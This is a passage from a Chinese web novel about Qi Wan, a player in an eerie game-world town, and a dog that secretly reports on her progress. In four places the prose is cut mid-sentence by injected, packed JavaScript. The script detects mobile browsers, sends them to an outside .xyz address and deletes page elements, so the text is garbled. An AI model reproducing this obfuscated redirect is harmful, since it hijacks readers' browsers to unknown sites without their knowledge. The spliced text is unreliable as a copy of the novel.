时间从清晨来到午前,来到正午,又来到午后,来到傍晚、黄昏——直到最后,太阳落山,昏星亮起。 街道空荡,没有人回来。 期间,祁晚无聊得点亮了周边所有街道的游戏点,因为是小镇上除了男女主人唯一的活人,小狗一直跟着她。 每点亮一处,祁晚就会四处看看。 房间里,茶几上摆着喝剩一半的茶和吃了一半的饼干。 院子里,晾衣杆上晾着衣服和床单,摸一摸还是潮的。 厨房里,能找到剩菜,有的已经凉透气了,有的还温着。 菜园里,菜苗才浇过水,土壤还潮湿着,地也是新翻的。 巷子里,摆着简陋的猫窝和猫碗,放着给流浪猫吃的猫粮和水,还有些不知道谁弄来的,小得惊人的鱼,也只吃了一半。 小卖部里,柜台的烟灰缸还插着抽了一半的烟,祁晚走近时甚至闻到了新鲜的劣质烟味。 到处都是生活的痕迹,却唯独见不到人。 “这地方,怎么一个人都没有。”祁晚回到小狗家的院子,打了个寒战,“好诡异啊。” 说着,她低下头看小狗,“你的新家到底在哪?他们怎么还不回来接你?” 小狗无辜地看着她,臊眉耷眼的,“呜——” “我倒是不需要睡觉,但总不能一直待在外边吧。”祁晚也没真指望狗能回答她,“我去你家歇一会行不?别的屋子都太诡异了,我真不想去。” 小狗点点头,走到她身前带路。 祁晚连连赞叹,“谢谢你嗷,你真是条好狗……” 小狗带她走到了狗窝前。 这家主人确实对小狗非常好。狗窝是单独砌的小房子,大得能住开一个人;里面放了床,大到能睡开两条小狗;床单干净,床垫厚实;床边安了暖气;墙面刷了很鲜亮的黄色和蓝色。 未经主人允许就住人家的房子确实不礼貌……祁晚站在狗窝前沉默,看着朝她吐舌头微笑的小狗——狗窝的主人倒是很同意她住。 大女人能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064751|163064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屈能伸……祁晚微笑着心一横,钻进了狗窝里——也不知道主人准备这么大的狗床干什么,她睡都够了。 小狗在她身边趴下,很高兴的摇尾巴。 祁晚勤勤恳恳地点了一天的游戏点,本就很累。何况这里还这么诡异——各种生活痕迹明明那么新鲜,却不见人影,她真是很难不感到惊心,真心觉得这个游戏没有狼羊游戏轻松。 虽然很吓人,她根本不敢细想居民都去哪里了。但奈何实在是累得半死,她眼睛一闭,就在小狗呼吸的热气中睡着了。 …… 深夜,祁晚睡得死沉死沉。 小狗悄咪咪地站起身,很注意地没有惊醒她。 街道安静,只有小狗走路的哒哒声,轻快又诡异。 它一路来到小镇的入口,以此为起点,开始点数。 路两旁的游戏点是对称放置,按理来说它只需要数一边的然后乘二就行,但祁晚一整天都在瞎逛,走的并不是有规律的路线。为了不数重复,还是挺费劲的。 终于,它数完了所有已点亮的游戏点,在最后一点处撒尿做好记号,它随便走到了一处其他已点亮的游戏点前,开始呜呜。 拜托,谁要在自己的尿跟前做报告啊…… “哇呜哇呜,呜呜呼呜……汪呼!” 绿色的游戏点伸出一些绿色细丝,随着小狗的呜呜声,这些细丝蠕动着拼接,在地面上构成文字。 第一夜报告。 游走者上报一号实验世界实验进程:已点亮游戏点数量(482/5000),游戏点收集功能运转良好,点亮区运转良好,可随时投入意识。实验体精神力总量大,上限高,恢复速度快,但使用无技巧,损耗率高达50%。申请精神力使用教材E及教学许可。请接收——代号:风。 精神力使用教材一共分五档,虽然实验体看起来很强,但考虑到不能揠苗助长,它选了最低的一档。 写完这一串,小狗又检查了两遍,保证内容没有出错的地方后,用爪子敲了两下地。 绿色细丝原地燃烧起来,很快消失无踪。 做完这一切,天也快亮了。 于是小狗回到自家院子门口,蹲下,望向货车离去的方向。 …… 一夜过去,第二天。 祁晚是被照入狗窝的阳光唤醒的。 她弓着腰爬出狗窝,小狗已经在院子门口。它蹲在那里,望着货车远去的方向,背影孤寂。 院子里还堆着东西,主人没有回来。 “还早呢。”祁晚打着呵欠走过去,摸了摸狗头,“他们就算一起床就往回赶,也得好久到呢……你啥时候起的?” 跟狗说话,她真是寂寞疯了。 然而—— “是小祁啊。”一慈眉善目的老太太拖着买菜小车路过门口,看着她笑,“才起啊?年轻人就是爱睡,抓紧去早市吧,人马上要走了。” 然后她伸出手招呼小狗,“小风啊,来,给奶奶摸摸。” 小狗立刻跳起来扑到她身上,顶她的手,“呜呜——” 老太太:“好乖,好乖。” “啊,哦……我这就去。”祁晚下意识地回答,答完才吓了一跳,“嗯?” 人?哪来的人? 12. 小狗(2) 昨天!这个镇子上还一个人都没有! 今天为什么就有人了! 张嘴就管她叫小祁?跟您熟吗您就这么叫? 这条狗原来叫小风……不对这不重要,为什么跟狗也这么熟? 您老人家谁啊? 老人以为她怕来不及,道:“别嗯了,快洗把脸去吧。再等会人家真散了,快点吧。” 说着,老太太拖着小车离开,“今天的鸡蛋便宜——” 祁晚悚然,不敢说话。 犹豫片刻,她走向老太太指的早市的方向,走时,她先低头看着小狗,“你跟我去呗?你们这地方太恐怖了。” 于是小狗跟着她走。 早市的区域她昨天已经点亮过了,确实有很多人在收摊,但还在卖的也不少。 “爱媛果冻橙,十元三斤,十元三斤。” “卤水点豆腐,一块钱一块。” “来看看买点啥?” “麻椒鸡,麻椒鸡,四十元一只。” “新鲜的!自家种的!哎呀不贵!你看看这多新鲜啊,都不打药的——” 路两旁到处是摊子,很热闹,砍价声叫卖声此起彼伏连绵不绝。绿色圆球依旧每隔十米就有一个,在空中悬浮着,但人们视若无睹,悠然自得地做着生意。 没有什么比这更诡异了。 走到自己所点亮的尽头,祁晚发现了更诡异的一幕。 那是一个卖豆腐脑的摊子。 卖豆腐脑的男人,身体一半在点亮区,另一半在像素区。像素区的一半是灰白色,一动不动;而在点亮区的一半鲜活明亮,还在吆喝,“豆腐脑五块一份五块一份啊——” 看见祁晚正看着他,处于点亮区的这一半笑起来,问道:“小姑娘来一份吗?新鲜的,自家点的!以前没见过你呀?新来的?” 说着,他自顾自地低下头,“害,看我这记性,这不是小祁吗。你们这些孩子,出趟门回来就大变样,我这老眼昏花的都认不得了。哎,我这也卖不完了,送你一份,当给你接风了。” 随后,他递过来一碗加好料的豆腐脑,“看看,辣椒油多放,是不是!叔这脑子还行吧?” 祁晚更悚然了。 这男人的另外半身依旧没动。 而且,多加辣椒,确实是她的口味。 沉吟片刻,祁晚走到豆腐脑摊旁,碰了一下依旧是黑色的游戏点。 黑色游戏点化作绿色圆球升起,又五十米范围颜色回归,变成正常的小镇。 男人整个身体都鲜活起来,又把碗朝她递了递,“拿着呀?” 犹豫了一下,祁晚还是接过了那碗豆腐脑,“谢谢叔。” 男人见她接过,笑得一脸褶子,“跟叔客气什么。” …… 祁晚最终还是没有吃那碗豆腐脑,她回忆着昨天的路线,将昨天走过的路全重走了一遍。 老大爷坐在屋子里喝茶,正对着院子,小孙子在院子里跑。跑累了就回房间,跟爷爷要水,拿起桌子上的饼干啃。 主妇收起晾衣杆上已经晾干的衣服和床单,拿回屋子里叠好,不多时又拿出新的衣服来挂上。 这户人家没有去早市买早点,家里也没做新的,而是煮了粥,把前一天的剩菜拿出来就着粥吃,居然也香气扑鼻。 老太太去早市买完菜,此时正在菜园里薅杂草,捉虫子丢给鸡吃。菜苗昨天才浇过水,今天不用。 几个学生上学前来到巷子里,大致查看了一下简陋的猫窝和猫碗,给已经吃空的碗里放上了新的猫粮和水,还放了冻干和小鱼干。十来只猫咪环绕她们四周呜哩哇啦,给她们的裤脚都蹭上了毛。 路边小卖部的老板呵欠连天地开了门,懒洋洋地倒在柜台后抽烟提神。祁晚走近时,又一次闻到了熟悉的劣质烟味。 一路上都有人跟她打招呼,有人叫小祁,有人叫小晚,有人直接叫丫头——她一个都不认识,只得打着哈哈糊弄过去。 比起她,小狗就游刃有余得多了—— 去跟小孩哥蹭了半块带小孩口水的饼干,小孩哥又把沾着狗口水的另一半塞进自己嘴里。老头看了一眼,腿脚不便地走出来怒扣小孩嘴,喝骂,“别瞎吃!”。 去主妇跟前摇着尾巴想要摸摸,结果被赶到一旁,“我新洗的衣服别粘上狗毛了,今天没吃的给你!”。 去吃早饭的那家人桌边,蹭到了一块剩菜里的肉。 老太太路过门口时就摸了它的头,见到她们来,又打招呼,“小祁晨练呐?小风也在啊,你也吃虫子?”并丢了一条虫子给它,但狗没吃到,被鸡抢走了。 去试图抢猫咪的粮和冻干吃,被猫咪狂扇降狗十八掌后连滚带爬跑了回来。 路过小卖部,被老板往身上扔烟头,于是冲进店里将老板的烟灰缸推到地上打碎。 老板怒极,冲出来就要揍它,怒骂祁晚,“你怎么管的你的狗?”祁晚二话不说,提起狗撒腿就跑。 身后传来对小卖部老板的嘲笑声,“缺德遭报应!狗都看不起你!活该!小祁快跑!” 祁晚一路跑回小狗家,气喘吁吁地将它放下,“你真是够有仇必报的,比我能惹祸。啧……我才想起来你可以自己跑啊,你为啥不自己跑。” 小狗无辜地看着她。 路上您倒是先把我放下? 祁晚叹气,从家具堆里找了个小凳子,放在门口阴凉处坐下。 这个时间街道上不怎么有人了,世界回归安静,她才有时间细细思考所见的这一切。 一切都很正常——倒不如说,太正常了。 昨天这里还一个人都没有。 于是反而不正常了起来。 哪来的人呢……看起来也不像假人。可你要说这是真人,他们又是哪来的呢? 回到院子里,小狗也在阴凉里蹲下。祁晚注意到它蹲下的位置与之前相同——恰好能望着货车离开的方向。 对,都给她吓忘了,她是来参与游戏的,要完成游戏。 胜利条件是……完成等待? “对啊。”祁晚看着小狗,“你主人他们怎么还不回来?”要是早上一起床就往回赶,中午怎么也该到了。 小狗回头看了她一眼,眼里已经没了上午四处游逛时的欢欣,而是很平静。 还有点忧伤。 祁晚这辈子都没想过自己会在一条狗的眼睛里看见忧伤。 她拍拍屁股站起来,看往院子里那一堆东西。 她记得昨天那辆车上是有沙发的,新的,而这堆杂物里居然还有一张,还比昨天车上那张破很多。 她挑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064752|163064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来坐的小凳子多少有点瘸腿,她是找了块石头垫着凳子腿才能坐稳的。 整个杂物堆…… 祁晚翻动的动作愈发大力,她皱起眉。 漏弹簧的床垫、缺脚的小凳子、坏掉的台灯、废电池、破洞床单被罩、脏得能拿来当抹布的衣服、被啃的坑坑洼洼的狗玩具…… “怎么全是破东西?”小狗不知道她在干什么,围着她转来转去,祁晚来不及理它,自顾自地挨个查看,“一个好的都没有——这些是不要的东西吧?” 不要的东西……祁晚看向小狗。 杂物堆里那些快被咬烂的狗玩具被她丢了出来,小狗挑挑拣拣地找出一个,叼在嘴里不再松口,摇起尾巴——它喜欢这个。 她的目光又转回杂物堆上。 这都是不要的东西。 “好,好,好。”她气笑了,“我就说这游戏不能那么简单,原来是难在这了——她们根本就不会回来。” 妇妻俩丢下狗奔向新生活,根本不知道去了哪里。而小狗困在这座诡异的小镇上,被空气墙挡着,无法离开;即使离开,也没有寻找的方向 “什么啊,这不是死局吗。”祁晚把头发往后一捋,从杂物堆里随手拿了个皮筋扎起,“切……死局?你祁姐这从来就没有死局。” 第一步,她要出这个小镇。拦住她的无非就是黑白像素区的空气墙,而她正好有办法。 “来,跟我走,现在就走。”她拍了拍小狗的头,一路朝着道路尽头走去,“等我把空气墙全推了,咱俩出镇去,把扔了你的那俩家伙揍一顿。” 这个小镇东西狭长,南北狭窄,整体呈长条形。因为记得货车的方向一路向西,且东西向的大路只有一条,祁晚这次没走任何南北向的岔路,一路只点东西向主路的游戏点。 等她终于累得快要昏迷,回到小院时,太阳已经落山了。 小狗再次回到门口那个地方蹲着。 “别等了,他们不会回来了。”离开前,她顺手揉了一把狗头,“算了……你也听不懂人话,真愁人。” 被这俩扔狗的负心人气得够呛,祁晚也不讲究什么礼貌了。她一脚踹开锁死的门,把漏弹簧的床垫铺到床上,今天准备在屋里睡。 昨天晚上给她睡得一身狗味,还伸不直腿,今天她要好好放松放松。 她踹门的动静惊天动地,小狗吓了一跳。 好暴力啊这女人! 祁晚把外套脱下来卷起来当枕头躺好,见到小狗过来,她打起精神,撑起半个身子,又摸了摸狗头,声音低哑地道:“踹了你家门,抱歉啊——” 小狗自然不会回应道歉,只舔了舔她的手,她当这是原谅的意思。 “在第一场游戏的时候我明明一直都不用睡来着,来这了就必须休息。” “点那个游戏点实在太累了,要不然我肯定白连夜地给你点……不过没事,现在这样也不会很久,等我带你去找那两个把你扔了的负心人嗷……” 她还想说点什么,但实在太累,话说到一半就睡着了。 小狗凑近她的脸。 跟昨天一样,睡得很死。 看来真的是太累了。 确认祁晚已经睡死,它迈着轻巧的步伐,来到昨天做好记号的地方。 继续点数—— 13. 小狗(3) 还是那套流程,但因为今天祁晚什么岔路都没走,连带着点数也好点了,小狗点数的速度比昨天快了不止一倍。 在点到的最后一个点处撒尿做好记号,它来到另一个点前做报告。 今天绿色细丝的速度似乎也更快了。 第二夜报告。 游走者上报一号实验世界实验进程:已点亮游戏点数量(1021/5000),已投入意识生活状态无异常。游戏点收集功能运转良好,第二批点亮区运转良好,可随时投入意识。实验体精神力损耗度降低(50%-44%)。询问精神力使用教材E发放进程,申请教学许可。请接收——代号:风。 但它今天做完报告没有立刻离开,而是很焦虑地在原地刨了刨地。 像是感觉到它的焦虑,绿色圆球内伸出一根新鲜的枝条,带着新鲜树木气息,发出细弱的声音,“大家都很好,别担心……” 小狗:“呜呜呜呜呜……” 树叶:“哦……不能回去找主神,你要完成任务的。” 小狗:“嗷呜……”开始刨地。 树叶:“我为什么能天天见祂,当然是因为我是世界树!我有工作需要……别咬我!我走了!” 枝条迅速缩回,世界树也走了。 小狗很失落地叹气,蔫头耷脑地回了小院。从玩具堆里找到它最喜欢的那个叼回窝里,叹着气准备休息。 居然给它把玩具带进了世界里,要不是祁晚,它都没发现,这可能就已经是主神对它最大的照顾了吧…… …… 第三天。 天刚蒙蒙亮,小狗就从床上爬了起来,它先去屋里看了一眼,祁晚消耗太大,还没醒。 于是它自己带上玩具,回到院门口那个位置,望着路的尽头。 …… 镇子最东头,玩家进入点。 十来个人陆陆续续地跟随着绿色圆球进入了小镇。人们刚刚跨越无尽黑暗,此时都又累又蒙圈,无人说话。 待人到齐,管理者的声音响起,是那个冷硬锐利的女声。 【诸位,我是本场游戏管理者。代号:岳】 【玩家全数到齐,游戏即将开始。】 管理者惯例只说两句话,绿色圆球继续播报。 【游戏主题:帮助】 【全场共12……13名玩家,获得帮助者身份】 【胜利条件:处理完小镇所有居民的烦恼】 【烦恼详情见任务清单】 于是每个人的绿色圆球都弹出界面。 “周姨的菜园最近总是生虫,但是她不愿意给菜打药。请帮她解决这个烦恼。” “那是只能捉?别了吧,我可怕大青虫了。” “张叔的烟灰缸被狗摔了,请帮他找到那条狗……不是,烟灰缸为啥会被狗打了?” “赵大爷的小孙子爱乱吃东西,请帮他给孩子矫正这个毛病……怎么还带育儿的?” “流浪猫源源不绝,年年增加,学生们快喂不起了。请帮她们解决这个烦恼?” “绝育不就好了吗。”人群中,一个熟悉的声音发出回答,是柳州与,她道:“任务都不难啊——先确认一下吧,大家的任务清单都是一样的吗?” 于是众人围成一圈,互相比对界面。 “一样的。” “都是一样的。” “好像RPG游戏任务啊,全镇都是NPC吗?”有人吐槽:“还全是支线。所以主线任务在哪里啊?” “是不是要把支线清完才能解锁主线?” “但是播报没说啊,不是说把这些清完咱就赢了吗?” “游戏居然这么简单,我寻思要大逃杀呢,或者解决点案件,搞不好还有尸块啊死人啥的……” “哎,我也是。” “我也寻思呢,我变丧尸死的,玩游戏不得打几个丧尸啊。结果这么和平。” 柳州与捕捉到了一些不太一样的信息,她问道:“你们都是第几场游戏。” “第一场啊。” “都是第一场吧。” 柳州与愣住了,“我是第二场。”而且她上一场玩到最后还真是逃杀。 “说明你比我们厉害吧。”有人笑,“那你上一场实现了什么愿望?说实现愿望,是真的吧?” 说到这里,柳州与就有点尴尬,“我上场输了……” 她话音刚落,她身后不远处一黑衣男嘴角抽了抽。如果祁晚在这里,就会认出来,这是雷铭。 他抽了抽嘴角,心说够巧的,这女的居然也是上场狼羊游戏的玩家。 但他们并没有见过面,因为他上场连第一夜都没熬过去……都怪祁晚那个不带脑子非要摇骰子的女人…… “啊,这样。”提问者尴尬地转开话题,“没事,那这场咱一块看看是不是真的。” “害,什么输输赢赢的,不重要。”其余人也安慰起柳州与,“输了再赢呗。” “开干就完事了。” “那开始?”一四五十岁的女人道:“既然大家的清单都一样,那大家把任务分一分,分头行动如何?比如怕虫子的就别去周姨那。这样快一点。” 她说的没有什么问题,众人纷纷表示赞同。 柳州与和另一个女孩分到了帮张叔找摔了他烟灰缸的狗的任务,于是她调出绿色圆球里的地图,走向那个女孩,“你看,张叔的小卖部在这,咱们现在过去……咦,是你?” “不是随机匹配吗,这都能遇到,好巧!”柳州与加快步伐,“你是11号吧?是叫秋原?” 被叫到的女孩一头银发带挑染,闻言腼腆地笑起来,“是我,真是好巧。你是几号来着,我有点忘了。” “我是6号,我叫柳州与。”见到熟人,柳州与很高兴,“上场游戏1号一直在找你,你都不知道她多能豁出去,太吓人。反正我被抓了——最后你被她找到了吗?” 两人跟着地图走向张叔的小卖部,秋原微微摇头,“我没有。豁出去?她干什么了?” “你没被找到?好厉害。”柳州与惊叹,“那她输了呀,太好了,我这口恶气也算是出去了。” 最终其实触发了隐藏胜利规则,秋原没忍心说。 “你不知道。”想起最后那刻,柳州与还是忿忿,“我在房间里,沙发卡着门,她进不来,够不到我,本来我是稳赢的。” 可是柳州与输了,怎么输的呢?秋原好奇起来,“然后呢?你不是输了吗?” “她把自己的手指头咬断了,丢到我身上!新鲜的,还带着血。”柳州与打了个寒战,“我真是,当时我都懵了……怎么会有人对自己这么狠啊?” 秋原瞪大了眼,“咬断……人类这样不是会很疼吗?” “你说话好奇怪,什么叫人类这样。”柳州与看了秋原一眼,心说难怪把头发染成这样,原来是个中二病晚期,“肯定疼啊,她疼得都快哭了,可就算这样她也要淘汰我,我真的是服了……说起来,你到底藏哪了?她那么厉害,你居然没被她找到。” 秋原没回答,而是抬起头看着前面,道:“小卖部到了。” …… 祁晚照例是太阳照进屋子里才醒。 透过窗子往外看,小狗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064753|163064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还蹲在那个地方。 她这两晚都睡得早,不知道小狗什么时候睡的——甚至不知道它究竟有没有睡。反正她醒的时候,它都已经在那等着了,一动不动。 好像一尊小狗雕像。 一尊,如果没有她在……就永远不会等来重逢的雕像。 “呵欠——也不知道到底有多少个游戏点。”她起床,伸了个懒腰,长出了一口气,“要多久才能点完呢……好累,可是不点完又完成不了游戏……” 这里还只有她一个人,没有别的玩家,她又累又无聊。 至于某些人的“下场游戏见”……呵,纯瞎扯罢了。 “走啊。”走到小院门口,她拍了拍狗头,“来活动活动。” 出了门,她一路向西。路上,早市依旧热闹;来往的人跟她依旧熟络;她依旧一个不认识,只能说多了些眼熟面孔;小狗依旧蹭了挺多吃的。 跟昨天大同小异,如同循环,像按程序生活的NPC。 可是,对大多数人来说,真正的生活也不过就是一天天的循环,这里的生活状态并没有什么不对,又很真实。 莫名出现的这些人,究竟是程序设计好的NPC还是真人,她无法分辨,也不想再思考了。 变化发生在她第二波点亮的区域里。 她记得再清楚不过,她昨天刚点亮的时候,这些区域还空无一人,跟第一波点亮的区域一样,只余诡异而新鲜的生活痕迹。 而今天,这些区域也都住满了人,而且这些人也都莫名其妙地认识她。 除了认识她这一点,两波人的长相、生活习惯、说话语气、性格特征都完全不同,可以肯定无一人重复。 “跟第一个世界真是不一样了。”祁晚走到她所点亮的尽头,“好真实,从天色到景色都是,还有人……如果都是NPC,那设定这么多的NPC,工作量也太恐怖了……那这些其实都是真人?” 也不是不可能。 她的记忆比别人多一截——她记得大家一起在纯白空间里浮浮沉沉的那段时光,和那里一眼看不到头的、浩如烟海的灵魂。 有了两天的经验,她点亮的速度比一开始来的时候要更快,她边点边喃喃:“不是有播报声来着,我还以为所有人都变成玩家……难道其实不是?” 考虑到她全程清醒而其他人全程沉睡的状态,大家苏醒的进度也有可能不同。 像她这种醒的早的变成玩家,醒的晚的变成NPC——如此就完成了分类,这完全有可能。 可是意义何在? 根据不知道什么条件,有可能是苏醒早晚对灵魂进行分类,分类……好像在筛选一样。 筛选? 这样想下去,问题就更多了,比如——是谁把人们的灵魂聚集到一起?又是谁在对灵魂进行这些操作?如果这个操作的目的真的是筛选?筛选的目的是什么? 她明确记得,那纯白空间浩瀚无垠,但除了海量灵魂什么都没有——那么如今这些游戏场景,或者说小世界又是怎么来的? “好迷啊,想不明白。”虽然已经有了进步,但这个点亮游戏点的活计还是很累,祁晚随便找了个地方坐下,“还好累……我先歇会。” “而且这个筛选……假如真的是筛选的话。”小狗在她身边蹲下,她就对着小狗说话,毕竟人总要有个听众,“那我被筛出来就是负责开荒,别人直接幸福生活就完事了——这公平吗?” 小狗一脸迷茫地看着她。 一道无人能听见的播报在它耳边响起。 【精神力使用教材E发放已完成,开放教学许可】 14. 小狗(4) 申请了两天的东西终于开放,小狗的眼睛忽的一下就亮了。 听不见播报的祁晚:“……你是真狗啊。” “就为了一个愿望。我搁这打黑工,承受如此不公平的待遇。”她假笑起来,用手指点狗头,一字一句道:“你高兴什么?不是听不懂人话吗,为啥幸灾乐祸这么及时啊?” 小狗避开她的金刚指,欢脱地跑向下一个游戏点。 “跑什么啊,”祁晚站起身来,大跨步跟上,“你又点不了……咦?” 小狗的爪子搭在黑白游戏点上,游戏点变成绿色圆球升起,但进程没有就此停止。随着绿色圆球升起,小狗扒着它人立起来,爪子一直没有离开,一道细微的白光流水似的延伸出去。 第二个、第三个、第四个……直到第五个游戏点也变成绿色圆球升起,这道细微的白光才消失。 不久后,小狗撂下爪子,四脚朝天地倒在地上,一个劲地喘气,像是累瘫了。 祁晚傻眼了。 “狗都比我强?”她不可思议地走向马路另一边,“为啥狗都能一次点五个?怎么做到的?要是我也会……” 那不就不用走那么远了吗!不知道能省多少事啊! 祁晚也试探着把手搭在游戏点上。 安静了五秒,小狗看见一道白光嗖的一下射了出去。 好夸张的速度,这个精神力的量是不是也太恐怖了—— 整条线路上的游戏点唰唰唰地被点亮升起,不到半分钟,她们就不再能看到点亮区的尽头了。 根据这两天的观察,祁晚目前能完成的上限大概是500个,小狗等着她主动停下。 但是…… “这东西?”祁晚感觉有点头晕,想把手拿下来,然而手好像被粘住了,任她怎么努力都拿不下来,“我手拿不下来了啊!这东西怎么还强制抽取啊?!” 小狗眨了眨眼,随即就明白了是怎么回事。 教材就放在游戏点里,触碰超过五秒自动学习,蛮简单——因为害怕那边出纰漏,它刚才自己优先试过。并没有发错,给的就是E级。 当然,它也发现了,比起以前,现在的E级教材加了督促和惩罚程序。如果故意摆烂不学、拒绝理解、或直接放弃,就会触发惩罚程序:以学习者精神力上限的80%为标准,进行一个高速抽取惩罚。 督促程序则会对个人智力、理解能力和学习速度进行检定,如果它认定你的学习速度与能力不匹配的话,也会缓慢抽取精神力——除非你把学习速度提上来,检定匹配就会停止抽取。 且督促程序的抽取也是抽到80%才会停止,基本上来说就是:要么你在筋疲力尽前一次学完,要么多学几次,每次都往死里学。 不学就罚,不爱学也罚,学的慢就催,很有主神的风格。 强制抽取的精神力的过程是非常痛苦的,但这个抽取量又不会真的造成伤害,就能有效鞭策某些不爱学习的懒蛋和脑子不好使的蠢货,抽出来的精神力也大有用途。 祁晚这个程度的感受,是被检定认定学习速度与能力不匹配,在被督促程序狂催。 被抽取精神力它当然体验过,快速慢速都体验过,知道那非常痛苦,祁晚被抽着精神力还能这么生龙活虎地蹦跶……就挺厉害的。 它想起自己学习C级教材的时候:15次直接失败被高速抽80%,24次因为学习进度慢被缓慢抽到79%的精神力上限才开窍,开窍后才开始缓慢理解。 ……虽然不太人性化,但还是守基本法的,也确实有鞭策它拼命思考,要不然它这辈子都不会学那些东西。 但它好歹是卡在C级上了。 除了管理者薇,几乎所有人都在C级教材上吃了不少于它的苦头。好在大家基本都已经学会了,现在都卡在B级。 至于A级,现在还没人学会…… 管理者薇艰难完成B后尝试挑战过A,艰难思考后惨痛失败,被抽了80%的精神力都没能开窍。那是她最惨痛的一次失败,被迫痛苦修养三天,从此以后不再提及。 连薇都成功不了,别人就更是不敢。 它实在想不明白,连管理者薇都学不会的东西,究竟有什么设立的必要?主神你自己会不就好了? 是打算让所有人都学到主神级别吗?那做不到的!它有时候真希望主神不要以要求自己的标准去要求别人,那太离谱了! 忽略那些难度过高的离谱东西。C级及以上教材一直都有这两个程序,会在不触发惩罚程序的情况下触发督促程序就说明这东西对你来说有难度,需要全力以赴,小狗觉得那个还是有点必要的。 但是这只是E级教材,非常简单、非常基础、难度非常低、狗都能学会。D级也是,它认为不可能有人学不会,也不会有人对那么简单的东西摆烂……加督促程序就怪多余的。 谁会拒绝学习1+1和2+3呢,对吧? 结果…… 现在看来,一点都不多余。 祁晚逐渐头痛欲裂,还在疯狂抽手,“打黑工还不够,现在直接改压榨了吗啊啊啊啊啊——放开我啊啊啊啊啊——” 小狗无语,叹气。 E级教材,只是简单的精神力输出和降低损耗而已,究竟有什么学不会的。 不管是拒绝理解、干脆摆烂还是学习进度过于缓慢,这么简单的东西都不学,您真的没问题吗? 它默默离她远了一点。 智商太低会传染,离它远点。 …… 这场抽取足足持续了两个小时。 终于结束时,祁晚整个人已经废了,死鱼般瘫在地上。 “我这辈子没被人这么整过。”祁晚五体投地趴在地上,涕泗横流地喃喃,“要我死直说好吗?别凌迟,我罪不至此。” 小狗凑过去舔她的脸。 谁让你连E级都不肯学?多少有点活该了。 噫,这脸,齁咸。哭成这样,至不至于。 它简直难以想象祁晚的精神力总量究竟有多高,足足两个小时才完成抽取。被点亮的游戏点一眼望不到尽头,它晚上一定要好好数数。 “你别舔我……”祁晚挣扎着起身,开始擦脸,“全是口水……你有口臭……” 小狗离开她一点,看着她起身,瞪大了眼睛。 放屁!谁有口臭?它可讲究了,绝对没有! 而且这人……被一口气抽完80%的精神力,就是主神也不可能还站得起来!啊不对主神的话倒也说不准……这人怎么就爬起来了?恢复速度这么恐怖吗?还是说她的精神耐性强到极度虚弱也能移动? 像它这种耐性比较强的,每次被抽掉80%都要休息至少半天,管理者薇那种比较脆弱的更是要歇三天才行。 这人两分钟就爬起来了? 片刻后,教材显出进度,祁晚凭直觉抬手——她手腕上出现一个虚浮的数据环,显示着学习进度。 【E级教材学习进度:3%】 …… 3%? 3%?! 这是真实存在的数字吗?! 怎么会有人精神力总量如此夸张,学习能力却如此之差—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064754|163064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那么多精神力究竟是怎么来的?脑子里装了一片海吗? 数据环还包括个进度条,蓝色的,已经空掉的部分是灰色,祁晚将其理解为血条。 小狗看过去,那个条条表达的是精神力剩余量,他们都直接管这个叫蓝条,现在还剩25%——但是怎么会是25%,不应该是20%吗? 祁晚瞟了一眼,一边擦脸一边站起来,“这又是什么高级东西……头疼死我了。” 26% 一分钟后,她擦干净脸,仔细闻了闻袖子,“咦,你没有口臭?狗居然没有口臭?”然后才开始仔细查看数据条,“3%?什么玩意,这么久我才学了3%?破玩意还拼了老命地催我……好难啊这个。” 27% “这我血条吧。”祁晚挺直腰板,疲惫地捶了捶腰,“恢复得还怪快。” 28% “不管了,我要睡觉。”祁晚短暂地挺直了一下,继续弓下身子,也不打算往回走了,而是直接四仰八叉地躺在地上,“我要睡个午觉。” 29% 闭上眼睛不到五秒,祁晚又睁开眼,拖长声音抱怨,“就不能来个人把我扛回去吗——好累啊!!地上好硬!!!” 30% 小狗:“……” 它默默记下了这个火箭般的恢复速度,按这个速度,全部恢复怕是一小时都用不上。 超级快充都没这么快。 